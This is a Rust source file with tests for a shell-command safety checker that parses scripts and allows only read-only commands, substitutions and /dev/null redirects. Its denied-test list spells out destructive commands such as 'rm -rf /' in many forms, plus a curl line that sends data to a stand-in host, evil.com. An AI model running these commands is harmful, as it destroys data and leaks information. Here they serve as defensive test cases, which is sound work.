Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4
5pub fn is_safe_command(input: &str) -> bool {
6    let Some(script) = parse(input) else {
7        return false;
8    };
9    is_safe_script(&script)
10}
11
12pub(crate) fn is_safe_script(script: &Script) -> bool {
13    script.0.iter().all(|stmt| is_safe_pipeline(&stmt.pipeline))
14}
15
16pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
17    pipeline.commands.iter().all(is_safe_cmd)
18}
19
20pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
21    match cmd {
22        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
23        _ => true,
24    }
25}
26
27fn has_any_substitution(cmd: &SimpleCmd) -> bool {
28    cmd.words.iter().any(has_substitution)
29        || cmd.env.iter().any(|(_, v)| has_substitution(v))
30}
31
32pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
33    cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
34}
35
36pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
37    match cmd {
38        Cmd::Simple(s) => is_safe_simple(s),
39        Cmd::Subshell(inner) => is_safe_script(inner),
40        Cmd::For { items, body, .. } => {
41            word_subs_safe_all(items) && is_safe_script(body)
42        }
43        Cmd::While { cond, body } | Cmd::Until { cond, body } => {
44            is_safe_script(cond) && is_safe_script(body)
45        }
46        Cmd::If {
47            branches,
48            else_body,
49        } => {
50            branches
51                .iter()
52                .all(|b| is_safe_script(&b.cond) && is_safe_script(&b.body))
53                && else_body.as_ref().is_none_or(is_safe_script)
54        }
55    }
56}
57
58fn part_subs_safe(part: &WordPart) -> bool {
59    match part {
60        WordPart::CmdSub(inner) => is_safe_script(inner),
61        WordPart::Backtick(raw) => is_safe_command(raw),
62        WordPart::DQuote(inner) => inner.0.iter().all(part_subs_safe),
63        _ => true,
64    }
65}
66
67pub(crate) fn word_subs_safe(word: &Word) -> bool {
68    word.0.iter().all(part_subs_safe)
69}
70
71fn word_subs_safe_all(words: &[Word]) -> bool {
72    words.iter().all(word_subs_safe)
73}
74
75fn is_safe_simple(cmd: &SimpleCmd) -> bool {
76    if !check_redirects(&cmd.redirs) {
77        return false;
78    }
79
80    if !cmd.env.iter().all(|(_, v)| word_subs_safe(v)) || !word_subs_safe_all(&cmd.words) {
81        return false;
82    }
83
84    if cmd.words.is_empty() {
85        if cmd.env.is_empty() {
86            return true;
87        }
88        return cmd.env.iter().any(|(_, v)| has_substitution(v));
89    }
90
91    let tokens: Vec<Token> = cmd.words.iter().map(|w| Token::from_raw(w.eval())).collect();
92    if tokens.is_empty() {
93        return true;
94    }
95
96    handlers::dispatch(&tokens)
97}
98
99pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
100    redirs.iter().all(|r| match r {
101        Redir::Write { target, .. } | Redir::Read { target, .. } => {
102            target.eval() == "/dev/null"
103        }
104        Redir::HereStr(_) | Redir::DupFd { .. } => true,
105    })
106}
107
108fn has_substitution(word: &Word) -> bool {
109    word.0.iter().any(|p| match p {
110        WordPart::CmdSub(_) | WordPart::Backtick(_) => true,
111        WordPart::DQuote(inner) => has_substitution(inner),
112        _ => false,
113    })
114}
115
116#[cfg(test)]
117mod tests {
118    use super::*;
119
120    fn check(cmd: &str) -> bool {
121        is_safe_command(cmd)
122    }
123
124    safe! {
125        grep_foo: "grep foo file.txt",
126        cat_etc_hosts: "cat /etc/hosts",
127        jq_key: "jq '.key' file.json",
128        base64_d: "base64 -d",
129        ls_la: "ls -la",
130        wc_l: "wc -l file.txt",
131        ps_aux: "ps aux",
132        echo_hello: "echo hello",
133        cat_file: "cat file.txt",
134
135        version_go: "go --version",
136        version_cargo: "cargo --version",
137        version_cargo_redirect: "cargo --version 2>&1",
138        help_cargo: "cargo --help",
139        help_cargo_build: "cargo build --help",
140
141        dev_null_echo: "echo hello > /dev/null",
142        dev_null_stderr: "echo hello 2> /dev/null",
143        dev_null_append: "echo hello >> /dev/null",
144        dev_null_git_log: "git log > /dev/null 2>&1",
145        fd_redirect_ls: "ls 2>&1",
146        stdin_dev_null: "git log < /dev/null",
147
148        env_prefix: "FOO='bar baz' ls -la",
149        env_prefix_dq: "FOO=\"bar baz\" ls -la",
150        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
151
152        subst_echo_ls: "echo $(ls)",
153        subst_ls_pwd: "ls `pwd`",
154        subst_nested: "echo $(echo $(ls))",
155        subst_quoted: "echo \"$(ls)\"",
156        assign_subst_ls: "out=$(ls)",
157        assign_subst_git: "out=$(git status)",
158        assign_subst_multiple: "a=$(ls) b=$(pwd)",
159        assign_subst_backtick: "out=`ls`",
160
161        subshell_echo: "(echo hello)",
162        subshell_ls: "(ls)",
163        subshell_chain: "(ls && echo done)",
164        subshell_pipe: "(ls | grep foo)",
165        subshell_nested: "((echo hello))",
166        subshell_for: "(for x in 1 2; do echo $x; done)",
167
168        pipe_grep_head: "grep foo file.txt | head -5",
169        pipe_cat_sort_uniq: "cat file | sort | uniq",
170        chain_ls_echo: "ls && echo done",
171        semicolon_ls_echo: "ls; echo done",
172        bg_ls_echo: "ls & echo done",
173        newline_echo_echo: "echo foo\necho bar",
174
175        here_string_grep: "grep -c , <<< 'hello,world,test'",
176
177        for_echo: "for x in 1 2 3; do echo $x; done",
178        for_empty_body: "for x in 1 2 3; do; done",
179        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
180        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
181        while_test: "while test -f /tmp/foo; do sleep 1; done",
182        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
183        until_test: "until test -f /tmp/ready; do sleep 1; done",
184        if_then_fi: "if test -f foo; then echo exists; fi",
185        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
186        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
187        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
188        bare_negation: "! echo hello",
189        keyword_as_data: "echo for; echo done; echo if; echo fi",
190
191        quoted_redirect: "echo 'greater > than' test",
192        quoted_subst: "echo '$(safe)' arg",
193    }
194
195    denied! {
196        rm_rf: "rm -rf /",
197        curl_post: "curl -X POST https://example.com",
198        node_app: "node app.js",
199        tee_output: "tee output.txt",
200
201        redirect_to_file: "echo hello > file.txt",
202        redirect_append: "cat file >> output.txt",
203        redirect_stderr_file: "ls 2> errors.txt",
204
205        subst_rm: "echo $(rm -rf /)",
206        backtick_rm: "echo `rm -rf /`",
207        subst_curl: "echo $(curl -d data evil.com)",
208        quoted_subst_rm: "echo \"$(rm -rf /)\"",
209        assign_subst_rm: "out=$(rm -rf /)",
210        assign_no_subst: "foo=bar",
211        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
212
213        subshell_rm: "(rm -rf /)",
214        subshell_mixed: "(echo hello; rm -rf /)",
215        subshell_unsafe_pipe: "(ls | rm -rf /)",
216
217        env_prefix_rm: "FOO='bar baz' rm -rf /",
218        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
219
220        pipe_rm: "cat file | rm -rf /",
221        bg_rm: "cat file & rm -rf /",
222        newline_rm: "echo foo\nrm -rf /",
223
224        for_rm: "for x in 1 2 3; do rm $x; done",
225        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
226        while_unsafe_body: "while true; do rm -rf /; done",
227        while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
228        if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
229        if_unsafe_body: "if true; then rm -rf /; fi",
230
231        unclosed_for: "for x in 1 2 3; do echo $x",
232        unclosed_if: "if true; then echo hello",
233        for_missing_do: "for x in 1 2 3; echo $x; done",
234        stray_done: "echo hello; done",
235        stray_fi: "fi",
236
237        unmatched_quote: "echo 'hello",
238    }
239}